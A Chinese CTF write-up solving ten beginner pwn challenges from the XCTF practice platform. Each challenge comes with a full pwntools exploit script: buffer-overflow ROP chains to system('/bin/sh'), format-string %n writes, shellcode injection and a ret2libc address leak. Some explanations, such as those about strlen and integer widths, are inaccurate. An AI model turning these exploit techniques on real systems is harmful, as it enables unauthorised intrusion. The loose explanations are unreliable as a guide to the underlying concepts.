1. 程式人生 > 其它 >【pwn】攻防世界 pwn新手區wp

【pwn】攻防世界 pwn新手區wp

【pwn】攻防世界 pwn新手區wp

前言

這幾天惡補pwn的各種知識點,然後看了看攻防世界的pwn新手區沒有堆題(堆才剛剛開始看),所以就花了一晚上的時間把新手區的10題給寫完了。

1、get_shell

送分題,連線上去就是/bin/sh

不過不知道為啥我的nc連線不上。。。

還是用pwntool的remote連線的

from pwn import *

io = remote("111.200.241.244", 64209)
io.interactive()

2、hello pwn

可以看到read寫入的是0x601068地址的資料,而下面的if語句判斷的是0x60106C地址的資料是否為1853186401

由於這兩個位置在記憶體中就是+4位元組的關係,所以我們可以在read的過程中實現覆蓋

from pwn import *

io = remote("111.200.241.244", 49847)

payload = b"bi0x" + p64(1853186401)

io.sendline(payload)
io.interactive()

3、level0

main函式中會跳轉到一個vulnerable_function

一看就是明顯的棧溢位,然後rsp距離rbp的距離為0x80,所以直接覆蓋就行了,在覆蓋掉8位元組的ret addr

此外值得一提的是,64位程式中,函式的前6個引數分別由rdi、rsi、rdx、rcx、r8、r9存放的,之後的引數存放在棧中。

所以這裡我們將/bin/sh存入edi中,這樣system函式的第一個引數就是/bin/sh了

from pwn import *

io = remote("111.200.241.244",54678)
elf = ELF("./xctf3")

binsh_addr = next(elf.search(b"/bin/sh"))
system_addr = elf.symbols["system"]
pop_edi_addr = 0x0000000000400663

payload = b"a"*0x80 + b"bi0xbi0x" + p64(pop_edi_addr) + p64(binsh_addr) + p64(system_addr)

io.sendafter("Hello, World\n",payload)
io.interactive()

4、level2

終於來了個32位的-。-

拖入32位ida中分析,main函式中有一個vulnerable_function函式,步入分析

明顯的棧溢位

我們在shift+f12中看到了/bin/sh的地址

所以直接給出exp

from pwn import *

io = remote("111.200.241.244", 63107)
elf = ELF("./xctf4")

system_plt = elf.plt["system"]
binsh_addr = next(elf.search(b"/bin/sh"))

payload = b"a"*0x88 + b"bi0x" + p32(system_plt) + b"bi0x" + p32(binsh_addr)

io.send(payload)
io.interactive()

5、string

canary開啟,所以棧溢位是沒戲

看題目string(字串),那麼可能是格式化字串了

拖入64位ida中分析

首先分析main函式,告訴我們有兩個關鍵的指標地址,分別是v4[0]額v4[1]的地址,然後進入sub_400D72這個函式,傳入的引數是v4[0]]這個指標

分析sub_400D72這個函式

首先叫我們輸入一個使用者名稱,然後判斷這個使用者名稱是否大於12,如果大於12長度那麼結束

所以我們輸入一個小於12長度的username

然後就是三個函式等著我們,sub_400A7D、sub_400BB9、sub_400CA6,我們一個個分析

首先來看sub_400A7D

輸出可以看,首先叫我們選擇方向east or up?

看到下面的strcmp判斷,只能選擇east跳出迴圈

然後來到下面的if,因為是east,所以直接結束執行了(不懂這個判斷有啥必要。。?s1改為up大可不必)

然後是sub_400BB9

puts的也不用看,叫我們選擇1or0,選1才能繼續

告訴我們輸入一個16位元組的大小的地址

然後再輸入一個wish,然後printf這個wish

很明顯的格式化字串

所以到這裡就知道需要測試偏移量了

隨後一個sub_400CA6(a1)

傳入了a1這個引數,a1是啥,我們首先回到sub_400D72

sub_400D72傳入了v4這個指標的地址,而sub_400D72這個函式的引數是a1

所以我們可以得到下圖這個關鍵的if語句中的a1就是v4的地址,如果相等那麼就mmap分配一個記憶體大小為0x1000的區域v1,然後我們可以向v1中寫入0x100大小的資料

這裡就可以想到寫入一段amd64的shellcode來獲取shell

需要我們將a1[0]和a1[1]相等,也就是v4[0] = v4[1]

我們如何將v4[0]賦值位85呢,利用格式化字串!

在剛剛出現的printf中,我們先測量偏移量

我們輸入的address是1,而這個0x1再printf中出現的是第8個,也就是printf的第8個引數,也就是第7個格式化字串的引數,所以偏移量是7

所以格式化字串只需要"a"*85+"%7$n",前面寫85位元組的字串,然後傳給第7個引數,這個第7個引數就是我們的v4[0]指標地址(在前面的程式開始puts的)

所以構建exp

from pwn import *

io = remote("111.200.241.244",55215)

io.recvuntil("secret[0] is ")
v4_addr = int(io.recvuntil("\n",drop=True),16)
io.sendlineafter("name be:", b"woodwhale")
io.sendlineafter("east or up?:", b"east")
io.sendlineafter("leave(0)?:", b"1")
io.sendlineafter("address'", str(v4_addr))
io.sendlineafter("And, you wish is:", b"a"*85+b"%7$n")
io.sendafter("USE YOU SPELL", asm(shellcraft.amd64.sh(),arch="amd64"))
io.interactive()

6、guess_num

保護基本都開了,看這個題目就知道是猜數字

拖入ida中分析

先看main函式

首先輸入username

然後給了一個以seed[0]為種子的隨機數

然後for迴圈猜測10次數字

全對給flag

我們需要做的就是劫持seed[0],把它改為我們想要的數字,然後有了種子,模擬和它一樣的隨機數

這裡我們看看v7地址

再看看seed[0]的地址

相差20

我們知道函式引數是逆序壓入棧中,所以第一個引數的地址最低,這樣我們就可以通過gets函式覆蓋掉seed[0]的值,偏移量為0x20

exp如下

這裡的from ctypes import *是匯入c語言庫函式的一個庫

這樣我們就可以使用srand函數了

from pwn import *
from ctypes import *

io = remote("111.200.241.244",63989)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

libc.srand(2)
payload = b"b"*0x20 + p64(2)
io.sendlineafter("name:",payload)

for i in range(10):
    io.sendlineafter("number:",str(libc.rand()%6+1))

io.interactive()

7、int_overflow

又是為數不多的x86

拖入32位ida中分析

檢視所有字串,發現cat flag

看main函式

叫我們選擇1or2,選1進入login,選2退出。所以選1。

步入login()函式中分析

首先讀取0x19長度的username,這麼點長度棧溢位肯定沒用

然後讀取0x199的passwd,這裡棧溢位有戲,但是看了看buf和ebp的距離,0x228,我們只能讀入0x199長度,所以還是覆蓋不了

把希望寄託於下面的check_passwd函式,傳入引數為我們剛剛寫入的buf

首先v3是一個無符號的8位數,也是我們剛剛輸入的buf的長度,如果v3<= 3u(這裡的u指的是unsigned,也就是無符號數,也就是011),或者v3 > 8u(也就是11111111,10進制中的255),那麼這樣我們輸入的buf就判斷為無效

如何讓這個判斷成為true呢?與題目中的int_overflow息息相關!

因為strlen()的返回值是一個int,4位元組長度,也就是8位,如果我們的buf長度大於255會發生什麼呢?

例如我們的buf的長度為263,二進位制就是1 0000 0111,會被strlen讀取為0000 0111,那麼這個111>011,並且111<11111111,這樣就成功繞過

最後再strcpy中實現dest的棧溢位,dest距離ebp距離為0x14,所以構建exp

from pwn import *

io = remote("111.200.241.244",57657)
elf = ELF("./xctf7")

io.sendlineafter("choice:",b"1")
io.sendafter("username:",b"woodwhale")

cat_flag_addr = next(elf.search(b"cat flag"))
system_plt = elf.plt["system"]
payload = b"a"*0x14 + b"bi0x" + p32(system_plt) + b"bix0" + p32(cat_flag_addr)
payload += b"a"*(263-int(len(payload)))

io.sendlineafter("passwd:",payload)
io.interactive()

8、cgpwn2

為數不多的x86

拖入32位ida中

先看所有字串,沒有後門

分析main函式

清除緩衝區,然後進入hello函式。沒啥好看的

我們直接步入hello函式()

前面這麼多數字計算,看的眼花繚亂,但是這些都沒啥用,我們要的是gets函式的棧溢位,gets中輸入s變數,s距離epb為0x26

這可以看到我們再fget中標準輸入的東西存入了name這個變數中,我們是不是可以在name中存放一個/bin/sh或者cat flag,然後在下面gets函式中呼叫system(name),這樣就獲取了許可權

直接看name的地址,在bss段的0x0804A080

那麼直接構建exp

from pwn import *

io = remote("111.200.241.244",49222)
elf = ELF("./xctf8")

system_plt = elf.plt["system"]
binsh_addr = 0x0804A080

io.sendlineafter("name","cat flag")
payload = b"b"*0x26 + b"bi0x" + p32(system_plt) + b"bi0x" + p32(binsh_addr)
io.sendlineafter("here:",payload)
io.interactive()

9、level3

還是x86,拖入ida

題目還給了個libc,一看就是ret2libc3

先看字串,肯定是沒有system的plt地址和後門的

main函式中有用的就是這個vulneravle_function函式

有個gets的棧溢位

這裡需要了解動態連線的知識點

第一次呼叫一個函式,比如write(),write.plt會去找write.got索要write的真實地址,但是write.got不知道,所以讓write.plt自己去找,然後write.plt自己找到了,將這個地址放在了write.got表中

第二次呼叫,write.plt會直接去找write.got,這個時候因為got表中存放了write的真實地址,所以直接給了write.plt,所以直接指向了write的真實地址

這是前置知識,不明白的去ctf-wiki的ret2libc3中惡補一下

這題我們需要的就是通過write可以寫資料到控制檯中,將write的got表地址中儲存的write的真實地址輸出,然後通過題目給的libc檔案,得到libc的基地址,然後根據基地址去尋找system函式和/bin/sh的真實地址

我們第一次呼叫的時候,先執行write函式,將write的got表中儲存的真實地址打印出來,然後執行_start函式,讓程式再次執行

第二次程式執行,我們得到了system和bin/sh的地址,直接呼叫就okk了

from pwn import *

io = remote("111.200.241.244",57553)
libc = ELF("./libc_32.so.6")
elf = ELF("./xctf9")

write_got = elf.got["write"]
write_plt = elf.plt["write"]
start_addr = elf.symbols["_start"]

payload = b"b"*0x88 + b"bi0x" + p32(write_plt) + p32(start_addr) + p32(1) + p32(write_got) + p32(4)
io.sendafter(b"Input:\n",payload)

write_true_addr = u32(io.recv(4))

libc_base = write_true_addr - libc.symbols["write"]
system_true_addr = libc_base + libc.symbols["system"]
binsh_true_addr = libc_base + next(libc.search(b"/bin/sh"))

payload = b"a"*0x88 + b"biox" + p32(system_true_addr) + b"bi0x" + p32(binsh_true_addr)
io.send(payload)
io.interactive()

10、CGfsb

還是32位,拖入ida中分析

看main函式

直接看到了格式化字串

只要我們的pwnme這個變數值為8,那麼我們就可以cat flag

首先測試偏移量

測得偏移量為10

那麼直接寫exp

from pwn import *

io = remote("111.200.241.244",53590)

pwnme_addr = 0x0804A068

payload = p32(pwnme_addr) + b"bi0x%10$n"

io.sendlineafter("name:",b"woodwhale")
io.sendlineafter("please:",payload)
io.interactive()

這裡的pwnme需要的值是8,而我們輸入的地址是4位元組的,所以前面還需要4個char字元,這樣4 + 4 = 8,我們的pwnme就可以賦值為8